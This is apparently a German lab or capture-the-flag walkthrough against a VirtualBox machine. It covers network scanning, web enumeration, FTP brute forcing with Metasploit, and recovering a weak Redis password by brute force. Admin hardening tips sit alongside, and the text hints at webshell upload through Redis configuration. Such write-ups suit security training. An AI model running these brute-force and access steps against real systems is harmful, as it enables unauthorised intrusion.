Analyse: Der erste Schritt besteht darin, aktive Hosts im lokalen Netzwerksegment zu identifizieren. Dazu wird `arp-scan -l` verwendet. ARP (Address Resolution Protocol) arbeitet auf Schicht 2 des OSI-Modells und sendet Anfragen an alle möglichen IP-Adressen im lokalen Subnetz, um deren MAC-Adressen zu ermitteln. Antwortet ein Gerät, ist es aktiv.
Bewertung: `arp-scan` ist ein schnelles und effektives Werkzeug zur Host-Entdeckung in lokalen Netzen, da es oft weniger auffällig ist als ICMP-Pings (die von Firewalls blockiert werden können) und direkt die physische Adresse liefert. Die Ausgabe zeigt die IP-Adresse `192.168.2.114` und die zugehörige MAC-Adresse `08:00:27:a4:ee:c0`, die auf einen PCS Systemtechnik GmbH Host hinweist (oft ein Indikator für VirtualBox).
Empfehlung (Pentester): Das Zielsystem wurde erfolgreich identifiziert. Der nächste Schritt ist, die IP-Adresse für weitere Scans zu nutzen. Es ist sinnvoll, die IP-Adresse in die lokale `/etc/hosts`-Datei einzutragen, um das Ziel über einen Hostnamen anzusprechen.
Empfehlung (Admin): Netzwerksegmentierung und Überwachung von ARP-Anfragen können helfen, unbefugte Scans zu erkennen. Sicherstellen, dass nur autorisierte Geräte im Netzwerk aktiv sind.
192.168.2.114 08:00:27:a4:ee:c0 PCS Systemtechnik GmbH
Analyse: Um die Lesbarkeit und Handhabung zu verbessern, wird die gefundene IP-Adresse `192.168.2.114` mit dem Hostnamen `system.nyx` in der lokalen `/etc/hosts`-Datei des Angreifersystems verknüpft. Der Befehl `vi /etc/hosts` öffnet die Datei im Texteditor `vi` zur Bearbeitung.
Bewertung: Dies ist eine gängige Praxis während eines Penetrationstests. Es erleichtert die Eingabe von Befehlen, da nun `system.nyx` statt der IP-Adresse verwendet werden kann, was besonders bei Webservern mit virtuellen Hosts relevant sein kann. Die erfolgreiche Speicherung der Änderung wird hier angenommen.
Empfehlung (Pentester): Immer gefundene IP-Adressen mit sinnvollen Namen in `/etc/hosts` eintragen. Dies verbessert die Übersichtlichkeit des Tests.
Empfehlung (Admin): Diese Änderung betrifft nur das Angreifersystem und stellt keine direkte Bedrohung dar. Die DNS-Infrastruktur des Unternehmens sollte jedoch robust sein.
127.0.0.1 localhost
192.168.2.114 system.nyx
Analyse: Als Nächstes wird ein spezifischer Portscan und Service Enumeration mit `nmap` durchgeführt. Der Befehl `nmap -p- --min-rate 10000 -oN nmap_full 192.168.2.114` scannt alle 65535 TCP-Ports (`-p-`), versucht dies mit einer hohen Geschwindigkeit (`--min-rate 10000` Pakete/Sekunde) und speichert die Ausgabe in der Datei `nmap_full` (`-oN`).
Bewertung: Dieser initiale Scan identifiziert offene Ports schnell. Die Ausgabe zeigt drei offene Ports: `2121` (unbekannt, aber typisch für alternative FTP-Ports), `6379` (Standard-Port für Redis) und `8000` (oft für Entwicklungs-Webserver oder alternative HTTP-Ports). Die hohe Scangeschwindigkeit kann in manchen Netzen erkannt werden, ist aber oft notwendig, um den Zeitaufwand zu begrenzen.
Empfehlung (Pentester): Die offenen Ports (`2121`, `6379`, `8000`) sind die primären Angriffsvektoren. Führe detailliertere Scans für diese Ports durch, um Dienste und Versionen zu identifizieren (`-sV`, `-sC`).
Empfehlung (Admin): Firewalls sollten nur notwendige Ports freigeben. Überwache das Netzwerk auf ungewöhnlich hohe Scan-Aktivitäten. Dokumentiere alle offenen Ports und die darauf laufenden Dienste.
Starting Nmap 7.94SVN ([Link: https://nmap.org | Ziel: https://nmap.org]) at 2024-09-02 23:40 CEST Nmap scan report for system.nyx (192.168.2.114) Host is up (0.00013s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE 2121/tcp open unknown 6379/tcp open redis 8000/tcp open http-alt Nmap done: 1 IP address (1 host up) scanned in 6.84 seconds
Analyse: Nun wird der Webserver auf Port 8000 mit `nikto` untersucht. `nikto -h http://192.168.2.114:8000` sendet eine Vielzahl von HTTP-Anfragen, um bekannte Schwachstellen, Konfigurationsfehler, veraltete Software und interessante Dateien/Verzeichnisse aufzudecken.
Bewertung: Nikto liefert wertvolle Informationen: * Server: `SimpleHTTP/0.6 Python/3.9.2`. Dies ist ein einfacher, oft für Entwicklungszwecke genutzter Python-Webserver. Beide Komponenten (`SimpleHTTP` und `Python`) sind als veraltet markiert. * Fehlende Header: `X-Frame-Options` (Clickjacking-Schutz) und `X-Content-Type-Options` (Schutz vor MIME-Sniffing) fehlen. Das sind typische Findings bei einfachen oder schlecht konfigurierten Webservern. * Interessanter Fund: `/#wp-config.php#`: Nikto meldet den Fund einer `wp-config.php`-Backup-Datei (`#` am Ende deutet oft auf Backup-Dateien hin). Diese Datei enthält typischerweise WordPress-Datenbankzugangsdaten. Auch wenn es hier kein WordPress zu sein scheint, ist der Fund einer Konfigurationsdatei immer kritisch.
Empfehlung (Pentester): Versuche, die gemeldete `#wp-config.php#`-Datei herunterzuladen und auf sensible Informationen zu prüfen. Untersuche die veraltete Software (`SimpleHTTPServer`, `Python`) auf bekannte Exploits. Die fehlenden Header sind Hinweise auf mangelnde Härtung.
Empfehlung (Admin): Verwende keine einfachen Entwicklungs-Webserver wie `SimpleHTTPServer` in produktiven oder exponierten Umgebungen. Aktualisiere Python. Implementiere wichtige Sicherheitsheader (`X-Frame-Options`, `X-Content-Type-Options`, `Content-Security-Policy` etc.). Stelle sicher, dass keine Backup- oder Konfigurationsdateien über das Web zugänglich sind.
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.114 + Target Hostname: 192.168.2.114 + Target Port: 8000 + Start Time: 2024-09-02 23:46:03 (GMT2) --------------------------------------------------------------------------- + Server: SimpleHTTP/0.6 Python/3.9.2 + /: The anti-clickjacking X-Frame-Options header is not present. See: [Link: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions | Ziel: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions] + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: [Link: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ | Ziel: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/] + No CGI Directories found (use '-C all' to force check all possible dirs) + SimpleHTTP/0.6 appears to be outdated (current is at least 1.2). + Python/3.9.2 appears to be outdated (current is at least 3.9.6). + /#wp-config.php#: #wp-config.php# file found. This file contains the credentials. + 8106 requests: 4 error(s) and 5 item(s) reported on remote host + End Time: 2024-09-02 23:46:38 (GMT2) (35 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Analyse: Ein detaillierter Nmap-Scan wird auf die zuvor identifizierten Ports (`2121`, `6379`, `8000`) ausgeführt. `nmap -sV -sC -oN nmap_detail -p2121,6379,8000 system.nyx` verwendet `-sV` zur Versionserkennung, `-sC` für Standard-NSE-Skripte (Nmap Scripting Engine) und speichert die Ausgabe in `nmap_detail`. Der Hostname `system.nyx` wird genutzt.
Bewertung: Dieser Scan bestätigt und erweitert die bisherigen Erkenntnisse: * Port 2121: Läuft `pyftpdlib 1.5.6`, ein Python FTP-Server. Das `ftp-syst`-Skript konnte den Server-Status abfragen, was auf eine grundlegende Funktionalität hinweist. * Port 6379: Bestätigt als `Redis key-value store`. Die genaue Version wird nicht sofort erkannt, aber der Dienst ist klar identifiziert. * Port 8000: Bestätigt als `SimpleHTTPServer 0.6 (Python 3.9.2)`. Das `http-title`-Skript zeigt, dass die Seite keinen Titel hat. * MAC-Adresse: `08:00:27:A4:EE:C0` wird erneut Oracle VirtualBox zugeordnet. * Betriebssystem: Nmap schätzt das Betriebssystem als `Linux 4.X` oder `5.X` ein (`OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5`, `OS details: Linux 4.15 - 5.8`). * Traceroute: Zeigt nur einen Hop an, was bestätigt, dass sich das Ziel im selben lokalen Netzwerk befindet.
Empfehlung (Pentester): Die Dienste sind nun klarer definiert.
* FTP (2121): Versuche anonymen Login und anschließend Bruteforce-Angriffe auf Benutzernamen/Passwörter. Prüfe auf bekannte Schwachstellen in `pyftpdlib 1.5.6`.
* Redis (6379): Versuche, ohne Authentifizierung auf die Datenbank zuzugreifen (`redis-cli`). Falls Authentifizierung benötigt wird, versuche Bruteforce. Prüfe auf bekannte Redis-Schwachstellen.
* HTTP (8000): Führe Verzeichnis-Bruteforce durch, um versteckte Dateien/Verzeichnisse zu finden (z.B. mit Gobuster, Feroxbuster). Lade die zuvor von Nikto gemeldete `#wp-config.php#`-Datei herunter.
Empfehlung (Admin): Aktualisiere alle Dienste (pyftpdlib, Redis, Python). Konfiguriere Redis mit einem starken Passwort. Stelle sicher, dass der FTP-Server nur authentifizierten Zugriff erlaubt und idealerweise verschlüsselte Verbindungen (FTPS/SFTP) nutzt. Härte den Webserver und entferne unnötige Dateien.
Nmap volle Ausgabe Starting Nmap 7.94SVN ( [Link: https://nmap.org | Ziel: https://nmap.org] ) at 2024-09-02 23:41 CEST Nmap scan report for bunker.nyx (192.168.2.114) Host is up (0.00012s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 2121/tcp open ftp pyftpdlib 1.5.6 | ftp-syst: | STAT: | FTP server status: | Connected to: 192.168.2.114:2121 | Waiting for username. | TYPE: ASCII; STRUcture: File; MDE: Stream | Data connection closed. |_End of status. 6379/tcp open redis Redis key-value store 8000/tcp open http SimpleHTTPServer 0.6 (Python 3.9.2) |_http-server-header: SimpleHTTP/0.6 Python/3.9.2 |_http-title: Site doesn't have a title (text/html). MAC Address: 08:00:27:A4:EE:C0 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop TRACEROUTE HOP RTT ADDRESS 1 0.12 ms bunker.nyx (192.168.2.114) OS and Service detection performed. Please report any incorrect results at [Link: https://nmap.org/submit/ | Ziel: https://nmap.org/submit/]. Nmap done: 1 IP address (1 host up) scanned in 22.50 seconds
Analyse: Um versteckte Dateien oder Verzeichnisse auf dem Webserver (Port 8000) zu finden, wird `gobuster` eingesetzt. Der Befehl `gobuster dir -u "http://system.nyx:8000" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x ... -b '503,404,403' -e --no-error -k` versucht, Pfade aus der angegebenen Wortliste (`directory-list-2.3-medium.txt`) zu erraten. Es werden zusätzlich diverse Dateiendungen (`-x ...`) angehängt. Statuscodes 403, 404, 503 (`-b ...`) werden ignoriert, die vollständige URL wird angezeigt (`-e`), Fehler werden unterdrückt (`--no-error`), und unsichere SSL/TLS-Zertifikate werden ignoriert (`-k`).
Bewertung: Gobuster findet nur die Datei `/index.html` mit dem Statuscode 200 (OK) und einer Größe von 3 Bytes. Dies ist sehr spärlich und deutet darauf hin, dass auf diesem Webserver wahrscheinlich nicht viel zu finden ist oder eine umfangreichere Wortliste bzw. andere Techniken (z.B. VHOST-Bruteforcing) nötig wären. Die extrem kleine Dateigröße von `index.html` lässt vermuten, dass sie fast leer ist.
Empfehlung (Pentester): Die gefundene `index.html` herunterladen und untersuchen, auch wenn sie klein ist. Eventuell andere Gobuster-Modi (vhost) oder andere Tools (Feroxbuster, ffuf) mit anderen Wortlisten testen. Die von Nikto gemeldete `#wp-config.php#` sollte weiterhin manuell geprüft werden (z.B. mit `curl` oder `wget`), da Gobuster sie möglicherweise nicht gefunden hat.
Empfehlung (Admin): Konfiguriere den Webserver so, dass Verzeichnislistungen deaktiviert sind. Minimiere die Angriffsfläche, indem nur notwendige Dateien und Verzeichnisse im Webroot liegen. Implementiere Rate-Limiting oder Intrusion Detection Systeme, um Bruteforce-Scans zu erkennen und zu blockieren.
=============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://system.nyx:8000 [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt [+] Status codes: 200,204,301,302,307,401,405,500 [+] User Agent: gobuster/3.6 [+] Extensions: c,py,config,tar,gz,pl,phtml,xlsx,dll,sh,exp,conf,xml,js.map,jpeg,jpg,pdf,db,mdb,pem,rtf,png,sql,html,bak,php,asp,aspx,exe,bat,ps1,zip,docx,doc,lib,crt,rar,kdbx,raw,elf,diff,svg,java,pHtml,mod,csv,accdb,cgi,csh,deb,desc,eps,icon,ln,old,rpm,pub,xls,txt,ELF,json [+] Expanded: true [+] Ignore SSL error: true [+] Timeout: 10s =============================================================== 2024/09/03 00:00:15 Starting gobuster in directory enumeration mode =============================================================== /index.html (Status: 200) [Size: 3] =============================================================== 2024/09/03 00:01:30 Finished ===============================================================
Analyse: Der erste Versuch, Zugriff zu erlangen, zielt auf den FTP-Server auf Port 2121. Der Befehl `ftp 192.168.2.114 -P2121` versucht, eine Verbindung herzustellen. Nach erfolgreicher Verbindung wird der Benutzername `anonymous` eingegeben, um einen anonymen Login zu versuchen.
Bewertung: Der Server antwortet mit `220 pyftpdlib 1.5.6 ready.`, bestätigt also den Dienst. Der Versuch, sich als `anonymous` anzumelden, schlägt jedoch fehl (`530 Anonymous access not allowed.`, `Login failed`). Dies zeigt, dass der FTP-Server zwar läuft, aber keine anonymen Logins zulässt. Authentifizierung ist erforderlich.
Empfehlung (Pentester): Da anonymer Zugriff nicht möglich ist, müssen gültige Zugangsdaten gefunden werden. Die nächsten Schritte sind Bruteforce-Angriffe mit gängigen Benutzernamen und Passwortlisten oder die Suche nach Credentials an anderer Stelle (z.B. in der zuvor von Nikto gemeldeten Konfigurationsdatei oder über den Redis-Dienst).
Empfehlung (Admin): Das Deaktivieren des anonymen FTP-Zugriffs ist eine grundlegende Sicherheitsmaßnahme. Stelle sicher, dass starke Passwörter verwendet werden und eventuell Bruteforce-Schutzmechanismen (z.B. fail2ban) aktiv sind.
Connected to 192.168.2.114. 220 pyftpdlib 1.5.6 ready. Name (192.168.2.114:ccat): anonymous 331 Username ok, send password. Password: 530 Anonymous access not allowed. ftp: Login failed ftp>
Analyse: Der nächste Angriffsvektor ist der Redis-Dienst auf Port 6379. Ein Nmap-Skriptscan wird gestartet: `nmap --script redis-info -sV -p 6379 192.168.2.114`. Dieses Skript (`redis-info`) versucht, Informationen vom Redis-Server abzufragen, `-sV` dient der Versionserkennung.
Bewertung: Der Scan bestätigt, dass Port 6379 offen ist und ein Redis-Dienst läuft. Das `redis-info`-Skript liefert jedoch keine detaillierten Informationen zurück, was darauf hindeuten könnte, dass der Zugriff eingeschränkt ist (z.B. Authentifizierung erforderlich) oder das Skript keine Verbindung herstellen konnte. Die MAC-Adresse wird erneut bestätigt.
Empfehlung (Pentester): Da das Skript keine Infos lieferte, verbinde dich manuell mit `redis-cli` oder `nc`, um zu sehen, ob eine Authentifizierung verlangt wird. Versuche Standard-Redis-Befehle (`INFO`, `PING`, `CONFIG GET *`).
Empfehlung (Admin): Stelle sicher, dass Redis immer mit einem starken Passwort geschützt ist (`requirepass` in der Konfiguration). Binde Redis an localhost (`bind 127.0.0.1`), wenn kein externer Zugriff erforderlich ist. Halte Redis aktuell.
Starting Nmap 7.94SVN ( [Link: https://nmap.org | Ziel: https://nmap.org] ) at 2024-09-03 00:02 CEST Nmap scan report for system.nyx (192.168.2.114) Host is up (0.00021s latency). PORT STATE SERVICE VERSION 6379/tcp open redis Redis key-value store MAC Address: 08:00:27:A4:EE:C0 (Oracle VirtualBox virtual NIC) Service detection performed. Please report any incorrect results at [Link: https://nmap.org/submit/ | Ziel: https://nmap.org/submit/]. Nmap done: 1 IP address (1 host up) scanned in 7.06 seconds
Analyse: Um die Erreichbarkeit des Redis-Ports direkt zu testen, wird `netcat` verwendet. `nc -vv 192.168.2.114 6379` versucht, eine TCP-Verbindung zum Ziel auf Port 6379 herzustellen. `-vv` erhöht die Ausführlichkeit (Verbose).
Bewertung: Netcat meldet erfolgreich `system.nyx [192.168.2.114] 6379 (redis) open`. Dies bestätigt, dass der Port erreichbar ist und auf Verbindungen lauscht. Es zeigt jedoch nicht, ob eine Authentifizierung erforderlich ist.
Empfehlung (Pentester): Nachdem die Verbindung bestätigt wurde, nutze `redis-cli`, das spezielle Client-Tool für Redis, um Befehle zu senden und die Authentifizierungsanforderungen zu prüfen.
Empfehlung (Admin): Dieser Test ist harmlos. Die Empfehlungen zur Absicherung von Redis (Passwort, Binding) bleiben bestehen.
system.nyx [192.168.2.114] 6379 (redis) open
Analyse: Der Redis-Client `redis-cli` wird verwendet, um eine Verbindung zum Server herzustellen (`redis-cli -h 192.168.2.114`). Anschließend werden verschiedene Befehle ausprobiert: `id` (ungültiger Befehl), `client list` (zeigt verbundene Clients) und `CONFIG GET *` (liest die Konfiguration).
Bewertung: Der Versuch, `id` auszuführen, scheitert erwartungsgemäß (`ERR unknown command`). Wichtiger sind die Antworten auf `client list` und `CONFIG GET *`. Beide Befehle geben `(error) NOAUTH Authentication required.` zurück. Dies ist der klare Beweis, dass der Redis-Server ein Passwort erfordert.
Empfehlung (Pentester): Da Authentifizierung nötig ist, muss das Passwort gefunden werden. Versuche einen Bruteforce-Angriff auf das Redis-Passwort (z.B. mit `hydra` oder dem Nmap-Skript `redis-brute`). Suche nach dem Passwort in anderen gefundenen Dateien (wie der `#wp-config.php#` oder FTP-Inhalten, falls später Zugriff erlangt wird).
Empfehlung (Admin): Die Passwortpflicht ist gut. Stelle sicher, dass das Passwort stark ist und nicht leicht erraten werden kann. Überwache fehlgeschlagene Login-Versuche.
192.168.2.114:6379> id (error) ERR unknown command `id`, with args beginning with: 192.168.2.114:6379> client list (error) NOAUTH Authentication required. 192.168.2.114:6379> CONFIG GET * (error) NOAUTH Authentication required.
Analyse: Das Metasploit Framework wird gestartet (`msfconsole -q`) und das Modul `auxiliary/scanner/ftp/ftp_login` ausgewählt, um einen Bruteforce-Angriff auf den FTP-Server (Port 2121) durchzuführen. Es werden verschiedene Optionen gesetzt: `ANONYMOUS_LOGIN false` (kein anonymer Versuch), `BRUTEFORCE_SPEED 5` (höchste Geschwindigkeit), `RHOTS 192.168.2.114` (Ziel-IP), `RPORT 2121` (Ziel-Port), `USER_FILE ...usernames.txt` (Benutzerliste) und `USERPASS_FILE ...rockyou.txt` (Passwortliste). Anschließend wird der Scan mit `run` gestartet.
Bewertung: Metasploit beginnt den Bruteforce-Angriff. Die Ausgabe zeigt zahlreiche fehlgeschlagene Login-Versuche (`LOGIN FAILED`). Es wird kein erfolgreicher Login gemeldet. Der Hinweis `No active DB -- Credential data will not be saved!` bedeutet, dass keine Datenbank verbunden ist, um gefundene Zugangsdaten zu speichern. Der Angriff scheint (zumindest mit dieser Kombination aus Benutzer- und Passwortliste) erfolglos zu sein.
Empfehlung (Pentester): Dieser spezifische Bruteforce-Versuch war nicht erfolgreich. Versuche es mit anderen Benutzer- oder Passwortlisten. Konzentriere dich vorerst auf andere Angriffsvektoren wie Redis oder die Web-Enumeration.
Empfehlung (Admin): Implementiere Account-Sperrungen nach mehreren fehlgeschlagenen Login-Versuchen (z.B. mit fail2ban), um Bruteforce-Angriffe zu erschweren oder zu verhindern. Verwende starke, einzigartige Passwörter.
Module options (auxiliary/scanner/ftp/ftp_login): Name Current Setting Required Description ---- --------------- -------- ----------- ANONYMOUS_LOGIN false yes Attempt to login with a blank username and password BLANK_PASSWORDS false no Try blank passwords for all users BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5 DB_ALL_CREDS false no Try each user/password couple stored in the current database DB_ALL_PASS false no Add all passwords in the current database to the list DB_ALL_USERS false no Add all users in the current database to the list ... (gekürzt) View the full module info with the info, or info -d command. ANONYMOUS_LOGIN => false BRUTEFORCE_SPEED => 5 RHOSTS => 192.168.2.114 RPORT => 2121 USER_FILE => /usr/share/commix/src/txt/usernames.txt USERPASS_FILE => /usr/share/wordlists/rockyou.txt [*] 192.168.2.114:2121 - 192.168.2.114:2121 - Starting FTP login sweep [!] 192.168.2.114:2121 - No active DB -- Credential data will not be saved! [-] 192.168.2.114:2121 - 192.168.2.114:2121 - LOGIN FAILED: R3v_m4lwh3r3_k1nG!!: (Incorrect: ) [-] 192.168.2.114:2121 - 192.168.2.114:2121 - LOGIN FAILED: admin: (Incorrect: ) [-] 192.168.2.114:2121 - 192.168.2.114:2121 - LOGIN FAILED: 123456: (Incorrect: ) [-] 192.168.2.114:2121 - 192.168.2.114:2121 - LOGIN FAILED: imdrippinbiatch: (Incorrect: ) [-] 192.168.2.114:2121 - 192.168.2.114:2121 - LOGIN FAILED: sqluserrootpassw0r4: (Incorrect: ) [-] 192.168.2.114:2121 - 192.168.2.114:2121 - LOGIN FAILED: hostinger: (Incorrect: ) [-] 192.168.2.114:2121 - 192.168.2.114:2121 - LOGIN FAILED: 12345: (Incorrect: ) [-] 192.168.2.114:2121 - 192.168.2.114:2121 - LOGIN FAILED: 123456789: (Incorrect: ) [-] 192.168.2.114:2121 - 192.168.2.114:2121 - LOGIN FAILED: password: (Incorrect: ) [-] 192.168.2.114:2121 - 192.168.2.114:2121 - LOGIN FAILED: iloveyou: (Incorrect: ) [-] 192.168.2.114:2121 - 192.168.2.114:2121 - LOGIN FAILED: princess: (Incorrect: ) [-] 192.168.2.114:2121 - 192.168.2.114:2121 - LOGIN FAILED: 1234567: (Incorrect: ) [-] 192.168.2.114:2121 - 192.168.2.114:2121 - LOGIN FAILED: rockyou: (Incorrect: ) [-] 192.168.2.114:2121 - 192.168.2.114:2121 - LOGIN FAILED: 12345678: (Incorrect: ) [-] 192.168.2.114:2121 - 192.168.2.114:2121 - LOGIN FAILED: abc123: (Incorrect: ) [-] 192.168.2.114:2121 - 192.168.2.114:2121 - LOGIN FAILED: nicole: (Incorrect: ) ... (gekürzt) [*] Auxiliary module execution completed
Analyse: Erneuter Versuch, mit `redis-cli` auf den Redis-Server zuzugreifen. Es werden die Befehle `ls` (ungültig), `help` (zeigt Hilfeinformationen) und `ACL` (Access Control List, hier falsch verwendet) eingegeben.
Bewertung: Dieser Versuch bestätigt erneut, dass ohne Authentifizierung kein Zugriff möglich ist (`NOAUTH` wurde bereits zuvor festgestellt). Die `help`-Ausgabe zeigt verfügbare Befehlsgruppen, was nützlich sein kann, sobald man authentifiziert ist. Der `ACL`-Befehl erfordert weitere Argumente und ist hier nicht zielführend, solange man nicht authentifiziert ist.
Empfehlung (Pentester): Der Fokus muss auf das Erlangen des Redis-Passworts gelegt werden. Der nächste logische Schritt ist ein dedizierter Bruteforce-Angriff auf das Redis-Passwort.
Empfehlung (Admin): Keine neuen Erkenntnisse. Die Empfehlungen zur Redis-Sicherheit bleiben bestehen.
192.168.2.114:6379> ls (error) ERR unknown command `ls`, with args beginning with: 192.168.2.114:6379> help redis-cli 7.0.15 To get help about Redis commands type: "help @<group>" to get a list of commands in <group> "help <command>" for help on <command> "help <tab>" to get a list of possible help topics "quit" to exit To set redis-cli preferences: ":set hints" enable online hints ":set nohints" disable online hints Set your preferences in ~/.redisclirc 192.168.2.114:6379> ACL (error) ERR wrong number of arguments for 'acl' command
Analyse: Ein Nmap-Skript wird speziell für den Redis-Passwort-Bruteforce verwendet: `nmap --script redis-brute -p6379 192.168.2.114`. Dieses Skript versucht, sich mit einer internen oder extern spezifizierten Passwortliste bei Redis anzumelden.
Bewertung: Volltreffer! Das Skript meldet `bonjour - Valid credentials`. Das Passwort für den Redis-Server lautet `bonjour`. Der Bruteforce-Angriff war erfolgreich und lieferte das benötigte Passwort in kurzer Zeit (1 Sekunde, 2355 Versuche).
Empfehlung (Pentester): Fantastisch! Mit dem Passwort `bonjour` kann nun auf den Redis-Server zugegriffen werden. Verbinde dich mit `redis-cli -h 192.168.2.114 -a bonjour` und untersuche die Datenbank (`keys *`, `GET key_name`), die Konfiguration (`CONFIG GET *`) und prüfe auf Möglichkeiten zur Codeausführung (z.B. über Module, Lua-Skripte oder Konfigurationsänderungen).
Empfehlung (Admin): Das Passwort `bonjour` ist extrem schwach und leicht zu erraten/bruteforcen. Ändere das Redis-Passwort sofort in ein langes, komplexes und einzigartiges Passwort. Implementiere fail2ban oder ähnliche Schutzmechanismen, um Bruteforce-Angriffe auf Redis zu blockieren.
Starting Nmap 7.94SVN ( [Link: https://nmap.org | Ziel: https://nmap.org] ) at 2024-09-03 00:20 CEST Nmap scan report for system.nyx (192.168.2.114) Host is up (0.00019s latency). PORT STATE SERVICE 6379/tcp open redis | redis-brute: | Accounts: | bonjour - Valid credentials |_ Statistics: Performed 2355 guesses in 1 seconds, average tps: 2355.0 MAC Address: 08:00:27:A4:EE:C0 (Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 1.57 seconds
Analyse: Nach dem erfolgreichen Passwort-Bruteforce wird `redis-cli` erneut verwendet, diesmal mit dem gefundenen Passwort: `redis-cli -h 192.168.2.114 -a bonjour`. Der Befehl `info` wird abgesetzt, um detaillierte Informationen über den Server zu erhalten.
Bewertung: Der Login ist erfolgreich (keine `NOAUTH`-Fehlermeldung mehr). Die `info`-Ausgabe liefert eine Fülle von Details: * Redis Version: 6.0.16 * OS: Linux 5.10.0-16-amd64 * Architektur: 64-bit * Port: 6379 * Executable Path: /usr/bin/redis-server * Config File: Nicht explizit gesetzt (standardmäßig oder über Kommandozeile gestartet) * Replication Role: Master Diese Informationen sind wertvoll für das Verständnis der Umgebung und die Suche nach potenziellen Schwachstellen in der spezifischen Redis-Version oder Konfiguration.
Empfehlung (Pentester): Die Redis-Version `6.0.16` und das Betriebssystem `Debian 11 (Bullseye)` (abgeleitet aus Kernel 5.10 und gcc 10.2.1) notieren. Prüfe auf bekannte Schwachstellen für Redis 6.0.16. Untersuche die Konfiguration genauer mit `CONFIG GET *` und suche nach Schlüsseln mit `keys *`. Suche nach Möglichkeiten, Befehle auszuführen, z.B. durch das Laden von Modulen oder Manipulation von Konfigurationsparametern wie `dir` und `dbfilename` für Webshell-Uploads (wenn Schreibrechte im Webroot bestehen).
Empfehlung (Admin): Überprüfe, ob die Redis-Version aktuell ist und patche sie gegebenenfalls. Stelle sicher, dass die Konfiguration sicher ist (keine unsicheren Pfade, starkes Passwort).
Warning: Using a password with '-a' or '-u' option on the command line interface may not be safe. 192.168.2.114:6379> info # Server redis_version:6.0.16 redis_git_sha1:00000000 redis_git_dirty:0 redis_build_id:6d95e1af3a2c082a redis_mode:standalone os:Linux 5.10.0-16-amd64 x86_64 arch_bits:64 multiplexing_api:epoll atomicvar_api:atomic-builtin gcc_version:10.2.1 process_id:413 run_id:272411ed9411f355f4d78afc3f009c81a3126e9d tcp_port:6379 uptime_in_seconds:2725 uptime_in_days:0 hz:10 configured_hz:10 lru_clock:14039907 executable:/usr/bin/redis-server config_file: io_threads_active:0 # Clients connected_clients:1 cluster_connections:0 maxclients:10000 client_recent_max_input_buffer:2 client_recent_max_output_buffer:0 blocked_clients:0 tracking_clients:0 clients_in_timeout_table:0 # Memory used_memory:863968 used_memory_human:843.72K used_memory_rss:4653056 used_memory_rss_human:4.44M used_memory_peak:863968 used_memory_peak_human:843.72K used_memory_peak_perc:100.00% used_memory_overhead:841736 used_memory_startup:796984 used_memory_dataset:22232 used_memory_dataset_perc:3.78% allocator_allocated:1071080 allocator_active:1286144 allocator_resident:4653056 total_system_memory:2084794368 total_system_memory_human:1.94G used_memory_lua:37888 used_memory_lua_human:37.00K used_memory_scripts:0 used_memory_scripts_human:0B number_of_cached_scripts:0 maxmemory:0 maxmemory_human:0B maxmemory_policy:noeviction allocator_frag_ratio:1.20 allocator_frag_bytes:215064 allocator_rss_ratio:3.62 allocator_rss_bytes:3366912 rss_overhead_ratio:1.00 rss_overhead_bytes:0 mem_fragmentation_ratio:5.53 mem_fragmentation_bytes:3811320 mem_not_counted_for_evict:0 mem_replication_backlog:0 mem_clients_slaves:0 mem_clients_normal:21864 mem_aof_buffer:0 mem_allocator:jemalloc-5.1.0 active_defrag_running:0 lazyfree_pending_objects:0 # Persistence loading:0 rdb_changes_since_last_save:0 rdb_bgsave_in_progress:0 rdb_last_save_time:1725276196 rdb_last_bgsave_status:ok rdb_last_bgsave_time_sec:-1 rdb_current_bgsave_time_sec:-1 rdb_last_cow_size:0 aof_enabled:0 aof_rewrite_in_progress:0 aof_rewrite_scheduled:0 aof_last_rewrite_time_sec:-1 aof_current_rewrite_time_sec:-1 aof_last_bgrewrite_status:ok aof_last_write_status:ok aof_last_cow_size:0 # Stats total_connections_received:25 total_commands_processed:7087 instantaneous_ops_per_sec:0 total_net_input_bytes:266793 total_net_output_bytes:2109 instantaneous_input_kbps:0.00 instantaneous_output_kbps:0.00 rejected_connections:0 sync_full:0 sync_partial_ok:0 sync_partial_err:0 expired_keys:0 expired_stale_perc:0.00 expired_time_cap_reached_count:0 evicted_keys:0 keyspace_hits:0 keyspace_misses:0 pubsub_channels:0 pubsub_patterns:0 latest_fork_usec:0 migrate_cached_sockets:0 slave_expires_tracked_keys:0 active_defrag_hits:0 active_defrag_misses:0 active_defrag_key_hits:0 active_defrag_key_misses:0 tracking_total_keys:0 tracking_total_items:0 tracking_total_prefixes:0 unexpected_error_replies:0 total_reads_processed:14179 total_writes_processed:7093 io_threaded_reads_processed:0 io_threaded_writes_processed:0 # Replication role:master connected_slaves:0 master_replid:7e51dded85493ae90e8c3226c935f4446dac593f master_replid2:0000000000000000000000000000000000000000 master_repl_offset:0 second_repl_offset:-1 repl_backlog_active:0 repl_backlog_size:1048576 repl_backlog_first_byte_offset:0 repl_backlog_histlen:0 # CPU used_cpu_sys:1.739472 used_cpu_user:0.912361 used_cpu_sys_children:0.000000 used_cpu_user_children:0.000000 # Modules # Cluster cluster_enabled:0 # Keyspace
